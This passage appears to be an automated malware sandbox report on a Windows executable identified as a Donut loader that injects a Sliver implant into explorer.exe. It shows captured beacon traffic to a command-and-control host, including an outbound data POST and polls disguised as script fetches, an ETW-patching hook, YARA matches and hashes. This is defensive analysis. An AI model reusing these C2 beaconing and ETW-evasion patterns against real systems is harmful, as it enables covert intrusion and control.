2024-12-18 07:46:41 UTC	318	OUT	POST /db/db/oauth/oauth/database/api.php?f=5251i7520 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Content-Length: 1602 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:41 UTC	868	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 04 ff 5c 56 6d 72 f3 bc 0a dd 0a 5b c1 d2 b1 4d 23 09 bd 80 92 49 f7 bf 90 3b 38 6d 93 e7 fe aa 33 f6 a8 e8 70 be a4 f7 35 f4 c0 40 48 21 de 06 0e 0e 35 32 04 97 5b 43 a5 01 39 4e 54 da da c2 43 b5 3a 1d 18 61 52 40 06 ae d5 e0 2e e3 a0 e0 d6 f8 80 53 d5 e3 e4 71 a0 d2 9a 2e df 32 0e 9a 86 aa 5d 06 07 68 e8 38 d5 43 1a e8 d0 07 0f 27 47 97 30 96 06 a3 38 45 97 71 91 e6 64 b8 8b ab 3d a9 6a 59 1d 23 b8 89 07 6d 6d e1 a1 5a 9d 2a ee c2 a3 3c c9 20 63 6f dc 65 1c 54 74 84 2e 73 42 df 8c 7d 19 68 e3 31 60 4e c6 05 0f 6e 37 18 f9 da 5c aa 38 9c 76 69 e2 01 73 da 78 04 cc c9 bf b8 6f 7a a3 a9 f5 90 f6 a4 c9 e5 e4 26 85 1a 4a a8 91 17 e3 6d 6b a0 4d a3 9c 02 0f e2 3e e0 f1 a4 53 60 3a 4f 1e 41 86 fb 6b 7c b0 a3 26 58 ee e8 5b 83 d3 94 28 Data Ascii: \Vmr[M#I;8m3p5@H!52[C9NTC:aR@.Sq.2]h8C'G08Eqd=jY#mmZ*< coeTt.sB}h1`Nn7\8visxoz&JmkM>S`:OAk\|&X[(
2024-12-18 07:46:41 UTC	734	OUT	Data Raw: bc 87 aa 71 93 37 2b cb 77 62 6b 4f 0f 6e 4d ae ac 08 c3 c3 a9 c8 f8 6f e1 23 90 a6 e1 e0 0e a7 38 a5 dc 4e 70 45 fd fd aa 9c 92 16 52 e1 c1 32 92 c2 07 db 10 3f 01 fa f7 f0 c6 5d 5e 7a ff d3 83 e1 ae e9 b8 ce 6d 45 de 69 72 9c 0f 7e 3a 95 65 35 41 9b 6c 3a 9e 9d 6e d8 2e 4e a1 af e6 92 bb cd dc cc 0b 7d ff 18 87 f4 09 2e 27 cc 69 17 c3 d4 47 3e ba ce 53 3c a4 70 a0 b6 27 7d c8 e7 a5 8f 5d 35 3c b4 dc a8 af d2 56 f1 4f da 1a 78 a8 8c 70 aa e2 3c a7 e9 f6 f3 df 36 95 71 a4 74 67 c3 8b 0f 06 e7 51 42 76 b9 02 67 5f c9 a3 1b dd d9 9d 5b 6e f4 7e 19 bb 37 dd 36 58 ce 66 90 be 2d f3 94 90 55 81 51 d3 a2 ff 32 cb b8 f7 7c b3 66 da 79 c2 3b 9f 76 f5 05 5f db 5b 04 1e e0 ba b3 47 86 4d 9a 96 ba 8b f7 bf 3b 1d 9a da 3c 49 ed e0 a1 ae cd 69 6b d2 27 e9 1d b6 2d 69 Data Ascii: q7+wbkOnMo#8NpER2?]^zmEir~:e5Al:n.N}.'iG>S<p'}]5<VOxp<6qtgQBvg_[n~76Xf-UQ2\|fy;v_[GM;<Iik'-i
2024-12-18 07:46:41 UTC	100	IN	HTTP/1.1 202 Accepted Date: Wed, 18 Dec 2024 07:46:41 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:45 UTC	448	OUT	GET /script.js?f=720f81321 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:47 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:49 UTC	492	OUT	GET /javascript/javascripts/javascripts/javascripts/array.js?p=4984414 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:51 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:52 UTC	484	OUT	GET /umd/script/umd/script/javascripts/backbone.js?a=7711n8412 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:54 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:56 UTC	461	OUT	GET /javascripts/backbone.js?_=35188464 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:46:58 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:46:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:59 UTC	459	OUT	GET /jscript/js/app.min.js?g=62721655 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:02 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:03 UTC	498	OUT	GET /javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:05 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49753	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:06 UTC	464	OUT	GET /js/javascript/app.min.js?h=603b2h1231 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:10 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:11 UTC	449	OUT	GET /backbone.js?b=70351513 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:13 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49775	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:14 UTC	487	OUT	GET /javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:18 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:18 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49786	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:19 UTC	459	OUT	GET /javascript/script.js?i=9g6924310 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:22 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49797	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:23 UTC	461	OUT	GET /javascripts/app.min.js?q=13c091045 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:26 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49808	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:28 UTC	475	OUT	GET /javascript/js/javascripts/backbone.js?i=95271830 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:31 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49819	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:33 UTC	457	OUT	GET /jscript/script.js?u=7dz9778131 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:34 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49830	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:36 UTC	458	OUT	GET /javascript/app.min.js?v=7759922 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:38 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49840	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:39 UTC	486	OUT	GET /javascript/umd/javascripts/script/umd/backbone.js?j=2235850 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:41 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49847	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:42 UTC	451	OUT	GET /js/array.js?c=8c275l5048 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:45 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49858	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:46 UTC	459	OUT	GET /javascripts/array.js?h=3g2539868 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:49 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49869	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:50 UTC	460	OUT	GET /javascripts/app.min.js?k=16794834 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:54 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49880	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:55 UTC	462	OUT	GET /jscript/umd/backbone.js?m=59p421880 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:47:57 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49886	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:59 UTC	486	OUT	GET /javascript/javascript/umd/javascripts/script.js?i=33f258382 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:48:02 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49902	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:03 UTC	444	OUT	GET /app.js?s=37090597 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:48:07 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49913	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:08 UTC	479	OUT	GET /script/javascripts/script/script/array.js?a=50029735 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:48:10 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49919	51.44.82.197	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:11 UTC	480	OUT	GET /jscript/javascript/javascripts/js/script.js?n=6012979 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34 Accept-Encoding: gzip
2024-12-18 07:48:14 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:13 GMT Connection: close

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
EtwEventWrite	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
EtwEventWrite	INLINE	0xC3 0x38 0x8B 0xBD 0xDC 0xC4

Target ID:	0
Start time:	02:46:06
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\WOlxr4yjgF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\WOlxr4yjgF.exe"
Imagebase:	0x7ff652e30000
File size:	1'191'424 bytes
MD5 hash:	65F49E0BC3893C6E7CFD5A4A1DA07B97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000003.2030512707.000001FF1D5EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:46:06
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:46:34
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Go lang
Yara matches:	Rule: Multi_Trojan_Bishopsliver_42298c4a, Description: unknown, Source: 00000005.00000002.2998102835.000000001250C000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Sliver, Description: Yara detected Sliver Implants, Source: 00000005.00000002.3002020019.000000C000138000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000005.00000000.2017326875.0000000011260000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: Multi_Trojan_Bishopsliver_42298c4a, Description: unknown, Source: 00000005.00000002.3000252057.000000001356C000.00000002.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000005.00000002.2997055833.0000000011260000.00000010.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.2%
Total number of Nodes:	1380
Total number of Limit Nodes:	13

Executed Functions

Function 00007FF652E317F3 Relevance: 82.8, APIs: 30, Strings: 16, Instructions: 2327COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E32EF1

Part of subcall function 00007FF652EBA7A0: TlsGetValue.KERNEL32(?,?,?,00007FF652EB0235,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF652EBA7B6

memcpy.MSVCRT ref: 00007FF652E3218B
memcpy.MSVCRT ref: 00007FF652E321D6
memcpy.MSVCRT ref: 00007FF652E323CA
memset.MSVCRT ref: 00007FF652E33853

Part of subcall function 00007FF652E35900: memcpy.MSVCRT ref: 00007FF652E35962

memcpy.MSVCRT ref: 00007FF652E32470
memcpy.MSVCRT ref: 00007FF652E32602
memcpy.MSVCRT ref: 00007FF652E326AD
memcpy.MSVCRT ref: 00007FF652E32737
memcpy.MSVCRT ref: 00007FF652E32788
memcpy.MSVCRT ref: 00007FF652E32ACF
memset.MSVCRT ref: 00007FF652E32B16
memcpy.MSVCRT ref: 00007FF652E32CFA
memcpy.MSVCRT ref: 00007FF652E32FC1

Part of subcall function 00007FF652EBA880: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00000001,?,00007FF652EB021D), ref: 00007FF652EBA8BE

GetLastError.KERNEL32 ref: 00007FF652E344C8
GetLastError.KERNEL32 ref: 00007FF652E34532
GetLastError.KERNEL32 ref: 00007FF652E3459C
GetLastError.KERNEL32 ref: 00007FF652E34606
GetLastError.KERNEL32 ref: 00007FF652E34670
GetLastError.KERNEL32 ref: 00007FF652E346DA

Part of subcall function 00007FF652E6F5B4: memcpy.MSVCRT ref: 00007FF652E6F5EA

Part of subcall function 00007FF652EDCB70: GetLastError.KERNEL32 ref: 00007FF652EDCC11

Strings

explorer.exe[-]no process!, xrefs: 00007FF652E33D28, 00007FF652E33F3F
has_authority means set_username shouldn't fail, xrefs: 00007FF652E3234B
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E34434, 00007FF652E3447D
reqwest-internal-sync-runtime, xrefs: 00007FF652E31A25
Total CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64, xrefs: 00007FF652E33AE1
*/*, xrefs: 00007FF652E31858
core thread panicked, xrefs: 00007FF652E32F09
cannot clone `Sender` -- too many outstanding senders, xrefs: 00007FF652E3345E
tx only taken on error, xrefs: 00007FF652E33476, 00007FF652E33486
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF652E34499
:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652E3222A
